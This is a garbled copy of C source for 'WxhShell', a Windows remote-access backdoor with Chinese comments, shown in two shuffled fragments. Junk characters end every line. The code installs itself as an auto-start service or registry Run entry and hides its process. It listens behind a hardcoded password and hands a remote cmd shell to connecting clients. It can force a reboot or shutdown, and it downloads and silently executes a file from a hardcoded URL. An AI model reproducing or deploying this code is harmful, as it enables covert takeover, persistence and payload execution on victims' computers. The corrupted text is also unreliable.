    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :[d *  
    else { GMOnp$@H^s  
    closesocket(wsh); =";G&)H-  
    ExitThread(0); 2`P=ekF]  
    } mZ0'-ax   
    break; Q nmv?YXS  
    } `RHhc{  
  // 获取shell ESi'3mbeC  
  case 's': { /Xf_b.ZM&  
    CmdShell(wsh); #fT<]j(  
    closesocket(wsh); W!B\VB  
    ExitThread(0); w 21g&  
    break; CX3yIe~u  
  } oxZXY]$y  
  // 退出 kG>m(n  
  case 'x': { wrm ReT?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W'"p:Uh q  
    CloseIt(wsh); B0$ge"FK9  
    break; UiQF4Uc"  
    } \$W\[s4I  
  // 离开  uq\[^  
  case 'q': { Mem1X rBH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e]zd6{g[m  
    closesocket(wsh); P&sYS<9q  
    WSACleanup(); B2T=O%  
    exit(1); [DD#YL\P  
    break; lcfX(~/m^  
        } sg%Ptp  
  } "|nh=!L  
  } ( 8Q*NZ  
`"h[Xb#A`b  
  // 提示信息 IutU ~%wv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /zg|I?$>Z4  
} 0dCg/wJx  
  } A Qm!7,  
~djHtd>  
  return; *IQQsfL)  
} ]US  
pE381Cw  
// shell模块句柄 ?.Lq`~T`  
int CmdShell(SOCKET sock) }s@vN8C  
{ k] iyx  
STARTUPINFO si; ^,{ r[}  
ZeroMemory(&si,sizeof(si)); 3A!Qu$r9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TrR=3_;.7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cm17hPe`}n  
PROCESS_INFORMATION ProcessInfo; e N^6gub  
char cmdline[]="cmd"; ;5&=I|xqe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S+7u,%n/  
  return 0; Z3O_K  
} Lq]t6o ]  
i% n9RuULh  
// 自身启动模式 |31/*J!@z*  
int StartFromService(void) UH`cWVLpr  
{ m8<.TCIQ  
typedef struct %`\=qSf*  
{ Wa<SYJ  
  DWORD ExitStatus; Lk2;\D>  
  DWORD PebBaseAddress; "U|u-ka8B  
  DWORD AffinityMask; qQp;i{X  
  DWORD BasePriority; bY}:!aR<mK  
  ULONG UniqueProcessId; bj ,cU)t0  
  ULONG InheritedFromUniqueProcessId; -9; XNp  
}   PROCESS_BASIC_INFORMATION; "5@\"L  
se*!OiOt  
PROCNTQSIP NtQueryInformationProcess; 2Dw}o;1'  
e'T|5I0K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (w1$m8`=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s(pNg?R  
d8J(~$tXQN  
  HANDLE             hProcess; Qb#iT}!p%  
  PROCESS_BASIC_INFORMATION pbi; +o|I@7f  
Xk`'m[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {xRO.699  
  if(NULL == hInst ) return 0; ,A[NcFdCB  
W.nr&yiQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l#&\,T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |-`-zo4z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E_-g<Cw  
#k|f%!-Vo  
  if (!NtQueryInformationProcess) return 0; irF+(&q]jh  
FZ5 Ad&".@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~n;U5hcB  
  if(!hProcess) return 0; O"9Or3w  
5 51p* B2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y*0j/91  
6kHuKxY,  
  CloseHandle(hProcess); -\~HAnh  
~; vt{pk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IVso/!   
if(hProcess==NULL) return 0; $f AZ^   
?X@uR5?{  
HMODULE hMod; k-I U}|Xz  
char procName[255]; \[<8AV"E-'  
unsigned long cbNeeded; n'8 3P%x  
`{H!V~42  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ntlbn&lc;D  
$_O;yz  
  CloseHandle(hProcess); 0?*":o30  
C&f{LpB`  
if(strstr(procName,"services")) return 1; // 以服务启动 OZ4%6/  
`>u^Pm  
  return 0; // 注册表启动 oT i$@q  
} ?0?+~0sI  
^?S lM  
// 主模块 thSXri?kl  
int StartWxhshell(LPSTR lpCmdLine) YP73  
{ Ww =ksggpB  
  SOCKET wsl; #B5-3CwB  
BOOL val=TRUE; ONMR2J(  
  int port=0; "10.,QK  
  struct sockaddr_in door; (l}nwyh5  
#&sn l  
  if(wscfg.ws_autoins) Install(); l4AXjq2  
WO=P~F<  
port=atoi(lpCmdLine); z_%}F':  
/ mwsF]Y  
if(port<=0) port=wscfg.ws_port; J<MuWgx&  
-IS$1  
  WSADATA data; !SThK8j$7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $|VD+[jSV  
$k^& X `  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d RHw]!.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mw*KLMo42  
  door.sin_family = AF_INET; KouIzWf.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2#@-t{\3-p  
  door.sin_port = htons(port); 3j\Py'};  
/! M%9gu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uOJso2Mx  
closesocket(wsl); i2?TMM!Fe  
return 1; D 4<,YBvV  
} Q&vU|y  
6\RZ[gA?  
  if(listen(wsl,2) == INVALID_SOCKET) { dG)}H _  
closesocket(wsl); |`O210B@  
return 1; EO\- J-nM  
} & sgzSX  
  Wxhshell(wsl); H={5>;8G  
  WSACleanup(); 0}- MWbG  
RY]jY | E  
return 0; q U^`fIa  
B6U4>ZN  
} Q #p gl  
J:l%  
// 以NT服务方式启动 IYe,VL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) scyv]5Hm!  
{ ! _?#f|  
DWORD   status = 0; 6t'vzcQs  
  DWORD   specificError = 0xfffffff; !BR@"%hx  
&"=<w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &?^"m\K4J*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M<ba+Qn$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?GGBDql  
  serviceStatus.dwWin32ExitCode     = 0; .=@CF8ArG  
  serviceStatus.dwServiceSpecificExitCode = 0; &Y-jK<  
  serviceStatus.dwCheckPoint       = 0; *a'I  
  serviceStatus.dwWaitHint       = 0; G!U `8R  
ad`7[fI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =z#j9'n$@  
  if (hServiceStatusHandle==0) return; g3c,x kaO  
Z@bKYfGM  
status = GetLastError(); `86})xz{  
  if (status!=NO_ERROR) wj\kx\+  
{ @VnK/5opS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rhC x&L  
    serviceStatus.dwCheckPoint       = 0; 2[1lwV  
    serviceStatus.dwWaitHint       = 0; 35Fs/Gf-n  
    serviceStatus.dwWin32ExitCode     = status; >+Y@rj2  
    serviceStatus.dwServiceSpecificExitCode = specificError; RC^k#+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d+]/0J!c  
    return; _FzAf5DO  
  } \1oN't.  
O[ug7\cl+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B1o*phM g  
  serviceStatus.dwCheckPoint       = 0; W"H(HA  
  serviceStatus.dwWaitHint       = 0; &'c&B0j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oA4<AJ2  
} 1(qL),F;  
*C,1 x5  
// 处理NT服务事件,比如:启动、停止 <h*$bx]9 +  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~X,ZZ 9H  
{ Ki\J)l  
switch(fdwControl) p*~b5'+ C+  
{ :</KgR0I  
case SERVICE_CONTROL_STOP: ?:#$btmn?  
  serviceStatus.dwWin32ExitCode = 0; M8|kmF\B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6o~CX  
  serviceStatus.dwCheckPoint   = 0; j UB`=d|  
  serviceStatus.dwWaitHint     = 0; .:iO$wjp5  
  { Q6d>tqWhq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?, cI!c`  
  } p;)@R$*  
  return; 34t[]v|LD  
case SERVICE_CONTROL_PAUSE: h 2C9p2.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >Slu?{l'  
  break; ~;I'.TW  
case SERVICE_CONTROL_CONTINUE: 8xYeaK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E]ZIm  
  break; ]?s^{  
case SERVICE_CONTROL_INTERROGATE: s:^Xtox /  
  break; MG4(,"c!  
}; N.-*ig.YR7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zi.w+V  
} [~k!wipK  
C0;:")6~  
// 标准应用程序主函数 \+)AQ!E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x%55:8{  
{ qKNHhXi  
S=3H.D!f  
// 获取操作系统版本 ,m;G:3}48  
OsIsNt=GetOsVer(); #fxdZm,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _q`f5*Z[  
>H,PST  
  // 从命令行安装 *[tLwl.  
  if(strpbrk(lpCmdLine,"iI")) Install(); H'x_}y  
a@N 1"O  
  // 下载执行文件 c6LPqPcN  
if(wscfg.ws_downexe) { yS@xyW /  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H~?p,h  
  WinExec(wscfg.ws_filenam,SW_HIDE); eI+p  
} HQ^:5 XH  
o_PQ]1  
if(!OsIsNt) { D>K=D"  
// 如果时win9x,隐藏进程并且设置为注册表启动 K<fB]44Y  
HideProc(); ^Kn:T`vB  
StartWxhshell(lpCmdLine); \0z<@)r+AJ  
} W+#Zmvo  
else $rH}2  
  if(StartFromService()) lfte   
  // 以服务方式启动 _tfi6UQ&lY  
  StartServiceCtrlDispatcher(DispatchTable); 8v\^,'@  
else /qweozW_+  
  // 普通方式启动 |4F'Zu}g>  
  StartWxhshell(lpCmdLine); ,zh4oX`>  
3| 0OW Jk  
return 0; }N@+bNh~  
} 8C<%Y7)/  
<Y^)/ s  
o<7'(Pz  
d? 4-"9Y  
=========================================== Fy^MI*}BZ  
YBQ{/"v%|  
?$%2\"wX~7  
~s>Ud<l%r  
K"VRHIhfg  
|%fM*F^7/  
" 6='x}Qb\H  
#)( D_*  
#include <stdio.h> pxHJX2  
#include <string.h> iTJE:[W"y  
#include <windows.h> vS G vv43G  
#include <winsock2.h> S0tPnwco[~  
#include <winsvc.h>  B q7Qbj  
#include <urlmon.h> g UA_&_  
[u7i)fn5?  
#pragma comment (lib, "Ws2_32.lib") W.TdhJW9  
#pragma comment (lib, "urlmon.lib") "sUmke-#  
y\<\P8X  
#define MAX_USER   100 // 最大客户端连接数 Og(|bs!6  
#define BUF_SOCK   200 // sock buffer U$j?2|v-x  
#define KEY_BUFF   255 // 输入 buffer B#[.c$  
B S+=*3J  
#define REBOOT     0   // 重启 "ac$S9@~  
#define SHUTDOWN   1   // 关机 @fI 2ZWN|  
QP!0I01  
#define DEF_PORT   5000 // 监听端口 E,7b=t  
cGS7s 8U  
#define REG_LEN     16   // 注册表键长度 "i; "  
#define SVC_LEN     80   // NT服务名长度 a fUOIM  
U )J/so)  
// 从dll定义API ^-26K|{3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /U@Y2$TOF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a<v!5\dq!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "[\),7&03  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I=K|1  
6|]e}I@<2  
// wxhshell配置信息 WXCZ }l  
struct WSCFG { | gP%8nh'C  
  int ws_port;         // 监听端口 +%LR1+/%b  
  char ws_passstr[REG_LEN]; // 口令 Vi<F@ji  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7kh(WtUz  
  char ws_regname[REG_LEN]; // 注册表键名 'klYGp  
  char ws_svcname[REG_LEN]; // 服务名 br4 %(w(d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T7j,%ay9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?=%#lZ &?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0R}F( tjw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +cC$4t0$^A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P6u%-#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rjL4t^rT  
|M(0CYO  
}; 0v'!(&m  
nx@ h  
// default Wxhshell configuration p]J0A ^VV  
struct WSCFG wscfg={DEF_PORT, ?eri6D,86w  
    "xuhuanlingzhe", Iz[wrtDI 1  
    1, bSS=<G9  
    "Wxhshell", OQh4 MN#$  
    "Wxhshell", XJZS}Z7h  
            "WxhShell Service", Ys@G0}\3G  
    "Wrsky Windows CmdShell Service", 7aJ:kumDZ  
    "Please Input Your Password: ", 31~Rs?~f(  
  1, &E`=pe/e  
  "http://www.wrsky.com/wxhshell.exe", z*G(AcS)  
  "Wxhshell.exe" 2t`d. s=  
    }; R![4|FR  
>2dF^cDE-3  
// 消息定义模块 ==Bxv:6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,_RPy2N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :x36Z4:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Yo[Pu< zR  
char *msg_ws_ext="\n\rExit."; P2sM3C  
char *msg_ws_end="\n\rQuit."; Qs;MEt1  
char *msg_ws_boot="\n\rReboot..."; QLOcgU^  
char *msg_ws_poff="\n\rShutdown..."; Q'Vejz/  
char *msg_ws_down="\n\rSave to "; [ .c'22R6  
AMc`qh  
char *msg_ws_err="\n\rErr!"; D~7L~Q]xI  
char *msg_ws_ok="\n\rOK!"; +/DT#}JE  
< <]uniZ\  
char ExeFile[MAX_PATH]; +l(lpp>,  
int nUser = 0; )A:|8m  
HANDLE handles[MAX_USER]; ~=Q Tv8  
int OsIsNt; _q3|Ddm2LN  
SB =%(]S  
SERVICE_STATUS       serviceStatus; *#Hw6N0#   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zoHFTD4 g  
t BKra  
// 函数声明 %)!b254  
int Install(void); 1eMz"@ Q9  
int Uninstall(void); >PoVK{&y  
int DownloadFile(char *sURL, SOCKET wsh); qfsu# R  
int Boot(int flag); RzN9pAe  
void HideProc(void); uZ8^"  W  
int GetOsVer(void); f/{*v4!  
int Wxhshell(SOCKET wsl); A,]%*kg2  
void TalkWithClient(void *cs); OzS/J;[PO[  
int CmdShell(SOCKET sock); \I #}R4z  
int StartFromService(void); W;!)Sj4<T!  
int StartWxhshell(LPSTR lpCmdLine); T9&bY>f?  
<}bF49z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d{:0R9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aF%V  
f'%Pkk  
// 数据结构和表定义 iBaz1pDc  
SERVICE_TABLE_ENTRY DispatchTable[] = dI) 9@UL  
{ X^9eCj;c  
{wscfg.ws_svcname, NTServiceMain}, &M*f4PeXb  
{NULL, NULL} ^Bu55q  
}; ysFp`  
[WW ~SOJe  
// 自我安装 (I\qTfN4  
int Install(void) QBL|n+  
{ w[Q)b()  
  char svExeFile[MAX_PATH]; gPw{'7'U  
  HKEY key; klSAY  
  strcpy(svExeFile,ExeFile); SRek:S,  
t$-!1jq  
// 如果是win9x系统,修改注册表设为自启动 ,8Q&X~$rY  
if(!OsIsNt) { OGAC[s~V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g0>Q* x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 98LyzF9  
  RegCloseKey(key);  :C9vs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \TnRn(Kw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R;`C;Rbf  
  RegCloseKey(key); wi@Qf6(mn  
  return 0; 'rDai [  
    } l-<EG9m@  
  } 6"<q{K  
} tl+ 9SBl  
else { -8m3L  
9q_c`  
// 如果是NT以上系统,安装为系统服务 Ji7<UJ30x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); D'<'"kUd  
if (schSCManager!=0) bW^JR,  
{ 6gTc)rhRT  
  SC_HANDLE schService = CreateService nD\H$5>5  
  ( DZqY=Sze  
  schSCManager, vfloha p  
  wscfg.ws_svcname, #9CLIYJAd  
  wscfg.ws_svcdisp, {W$K@vuV;?  
  SERVICE_ALL_ACCESS, (fcJp)D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -)Of\4kx  
  SERVICE_AUTO_START, #VynADPs`o  
  SERVICE_ERROR_NORMAL, /nB|Fo_&Q  
  svExeFile, _BHEK  
  NULL, 'e:(61_  
  NULL, LZ<^b6Dxk  
  NULL, ]oxi~TwY^  
  NULL, 4rrR;V"}  
  NULL G- eSHv  
  ); ndS8p]P&o(  
  if (schService!=0) jchq\q)_z  
  { { pk]p~  
  CloseServiceHandle(schService); )SyU  
  CloseServiceHandle(schSCManager); 7mtX/w9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O#?@' 1  
  strcat(svExeFile,wscfg.ws_svcname); IA680^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { VCQo3k5 {  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tQ(4UHqa~  
  RegCloseKey(key); v:?l C<,  
  return 0; ug^esB  
    } 6QAhVg: A  
  } ppzQh1  
  CloseServiceHandle(schSCManager); y85R"d  
} 6|Xe ],u  
} t4Pi <m:7  
 D`3`5.b  
return 1; FA!!S`{\  
} hO; XJyv  
&gsBbQ+qA  
// 自我卸载 p> g[: ~  
int Uninstall(void) vW4n>h}]  
{ FwUgMR*xq  
  HKEY key; `T3B  
#*X\pjZ  
if(!OsIsNt) { Ticx]_+~T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bW^C30m  
  RegDeleteValue(key,wscfg.ws_regname); {BzE  
  RegCloseKey(key); 0sI7UK`m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FaQc@4%o  
  RegDeleteValue(key,wscfg.ws_regname); uYC1}Y5N  
  RegCloseKey(key); nYE%@Up  
  return 0; L :Ldk  
  } n50W HlMtt  
} :B:6ezDF6  
} DB3qf>@?  
else { nM|F MK^  
Vh N6 oI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EO%"[k  
if (schSCManager!=0) '9!J' [W  
{ a'(B}B=h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vrs?VA`v$  
  if (schService!=0) qyP={E9A  
  { ZlP+t>  
  if(DeleteService(schService)!=0) { X}H?*'-  
  CloseServiceHandle(schService); U=PTn(2  
  CloseServiceHandle(schSCManager); ^@^K <SVc  
  return 0; `T{'ufI4B  
  } hlmeT9v{  
  CloseServiceHandle(schService); @MO/LvD  
  } ><I{R|bC  
  CloseServiceHandle(schSCManager); lBGYZ--  
} )6(|A$~C+  
} 3,-[lG@o  
>:HmIW0PLe  
return 1; yxAy1P;dX  
} EB VG@  
f+1@mGt  
// 从指定url下载文件 QD%!a{I  
int DownloadFile(char *sURL, SOCKET wsh) q _Z+H4  
{ </2 aQn  
  HRESULT hr; O L 9(~p  
char seps[]= "/"; " =6kH,  
char *token; nJ h)iQu  
char *file; Whe-()pG{  
char myURL[MAX_PATH]; 9g]%}+D  
char myFILE[MAX_PATH]; c(aykIVOo  
6V*,nocL_+  
strcpy(myURL,sURL); ,Oe:SZJ>  
  token=strtok(myURL,seps); -iL:D<!Cb_  
  while(token!=NULL) ~;#sj&~  
  { :Iuc H%6V  
    file=token; OY8P  
  token=strtok(NULL,seps); 3g3f87[  
  } [iZH[7&j  
DL uaM?7  
GetCurrentDirectory(MAX_PATH,myFILE); dz!m8D0  
strcat(myFILE, "\\"); :C2 @!W z  
strcat(myFILE, file);  1D_&n@  
  send(wsh,myFILE,strlen(myFILE),0); -Nn< pq  
send(wsh,"...",3,0); eph2&)D}Ep  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <cU%yA710  
  if(hr==S_OK) Tl2(%qB  
return 0; "c\WZB`|  
else 5?Pf#kq  
return 1; a~ dgf:e`  
b~r:<:;  
} [S1 b\f#  
\*[DR R0  
// 系统电源模块 x"!`JDsS  
int Boot(int flag) B oxtP<C"  
{ 5z =}o/?  
  HANDLE hToken; 6%}`!_N<Mc  
  TOKEN_PRIVILEGES tkp; U p6OCF  
) J.xQ}g  
  if(OsIsNt) { "=1gA~T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FPH2dN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p]ujip  
    tkp.PrivilegeCount = 1; 4EmdQn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zc$}4o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iD*Hh-  
if(flag==REBOOT) { e9HL)=YP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T<"Bb[kH  
  return 0; v>j,8E  
} F]D{[dBf  
else { *@p"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s1h|/7gG  
  return 0; RMiDV^.u`  
} uVKe?~RC  
  } `S0`3q}L3%  
  else { KJ:z\N8eo  
if(flag==REBOOT) { yjsj+K pL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "{\xBX~oM  
  return 0; {Wi*B(  
} H6{Bx2J1*  
else { M[~{!0Uz g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7e\Jg/FU  
  return 0; |'z24 :8  
} qS9<_if2  
} D'vaK89\  
3&CV!+z  
return 1; :;eQ*{ `\  
} :P/VBXh  
PpKjjA<  
// win9x进程隐藏模块 zyhM*eM.7  
void HideProc(void) ]A5Y/dd  
{ (qvH=VTwP  
Q4_r) &np  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o$eCd{HuX  
  if ( hKernel != NULL ) @&Z^WN,x  
  { : NA(nA 3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _ xTpW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qZ'2M.;  
    FreeLibrary(hKernel); /# ]eVD  
  } wN58uV '  
ox%j_P9@:  
return; AH:uG#  
} QS!Z*vG  
yQMwt|C4  
// 获取操作系统版本 !+A%`m  
int GetOsVer(void) )obgEJ7Y`l  
{ dW%t ph  
  OSVERSIONINFO winfo; G;flj}z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q&J5(9]O|L  
  GetVersionEx(&winfo); CgmAxcK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D=mmBo  
  return 1; b>VV/j4!/  
  else ]J'TebP=L5  
  return 0; i%[gNh  
} *asv^aFpS  
,dR.Sac v  
// 客户端句柄模块 z=) m6\  
int Wxhshell(SOCKET wsl) V:'F_/&X?  
{ ZnRT$ l O  
  SOCKET wsh; *Z^`H!&  
  struct sockaddr_in client; A&)2m  
  DWORD myID; }oA>0Nw$K  
)WbWp4  
  while(nUser<MAX_USER) KILX?Pt[7  
{ U 7.kYu  
  int nSize=sizeof(client); eG1V:%3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )~)l^0X  
  if(wsh==INVALID_SOCKET) return 1; nH&z4-1Y?  
`MCiybl,&P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z?.9)T9_  
if(handles[nUser]==0) NS2vA>n8R  
  closesocket(wsh); xYCJO(&  
else Vx2/^MiXy  
  nUser++; JPAjOcmU/  
  } g i6s+2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fs 2MYat  
l=p_  
  return 0; 5{k,/Z[L  
} iuGwc086  
x<M::")5!V  
// 关闭 socket Fz';H  
void CloseIt(SOCKET wsh) aqN{@|  
{ Qy0w'L/@  
closesocket(wsh); bf0,3~G,P  
nUser--; ,AweHUEn  
ExitThread(0); p|.5;)%|  
} R%RxF=@  
&TBFt;  
// 客户端请求句柄  Q&xH  
void TalkWithClient(void *cs) WM?-BIlT=  
{ W/bW=.d Jd  
9Z!n!o7D  
  SOCKET wsh=(SOCKET)cs; F0p=|W  
  char pwd[SVC_LEN]; XDJE]2^52?  
  char cmd[KEY_BUFF]; 6T'UWh0S  
char chr[1]; H" `'d  
int i,j; 'k[qx}  
38p"lT  
  while (nUser < MAX_USER) { G9^`cTvv'8  
A6]X aF  
if(wscfg.ws_passstr) { M,_ $s,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &{.IUg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z8ea)_ {#  
  //ZeroMemory(pwd,KEY_BUFF); G|f9l?p  
      i=0; P0}{xq'k9v  
  while(i<SVC_LEN) { 9>w~B|/  
3\@2!:>  
  // 设置超时 &Y?t  
  fd_set FdRead; olv?$]  
  struct timeval TimeOut; iW(LD1~7  
  FD_ZERO(&FdRead); rL1yq|]I  
  FD_SET(wsh,&FdRead); a%B&F|u  
  TimeOut.tv_sec=8; '~&W'='b;  
  TimeOut.tv_usec=0; wpM2{NTP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6wh PW .  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); } 7 o!  
uL^; i""  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xj;:B( i  
  pwd=chr[0]; cl4z%qv*  
  if(chr[0]==0xd || chr[0]==0xa) { {73V?#P4  
  pwd=0; F1stRZ1ZI  
  break; {\D &*  
  } 7-K8u  
  i++; mG\QF0h  
    } iVn4eLK^v  
JkJ @bh Eu  
  // 如果是非法用户,关闭 socket ")No t$8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |T""v_q  
}  /RJ  
yO1 7C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F]yB=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !92e$GJ} ;  
}w$2,r gA  
while(1) { )~wKRyQff  
S4_/%~?  
  ZeroMemory(cmd,KEY_BUFF); [[IMf-]  
Pl/ dUt_  
      // 自动支持客户端 telnet标准   =|z:wlOs  
  j=0; ; zJb("n  
  while(j<KEY_BUFF) { hU""YP ~y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9KU&M"Yq&i  
  cmd[j]=chr[0]; # -luE  
  if(chr[0]==0xa || chr[0]==0xd) { ^qR|lA@=\  
  cmd[j]=0; U<w8jVE  
  break; t|>zke!'  
  } s;9Du|0f^  
  j++; r)5xS]  
    } 7yfh4-1M  
>n09K8 A  
  // 下载文件 Jx.f DVJ  
  if(strstr(cmd,"http://")) { losqc *|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (p%|F`  
  if(DownloadFile(cmd,wsh)) pz /[ ${X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a ~v$ bNu  
  else xc#t8`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MT&aH~YB  
  } L5FOlzn  
  else { [_'A(.  
y{hg4|\  
    switch(cmd[0]) { }:IIk-JoC  
  GP%V(HhN  
  // 帮助 }N[X<9^ Z  
  case '?': { zkRAul32|  
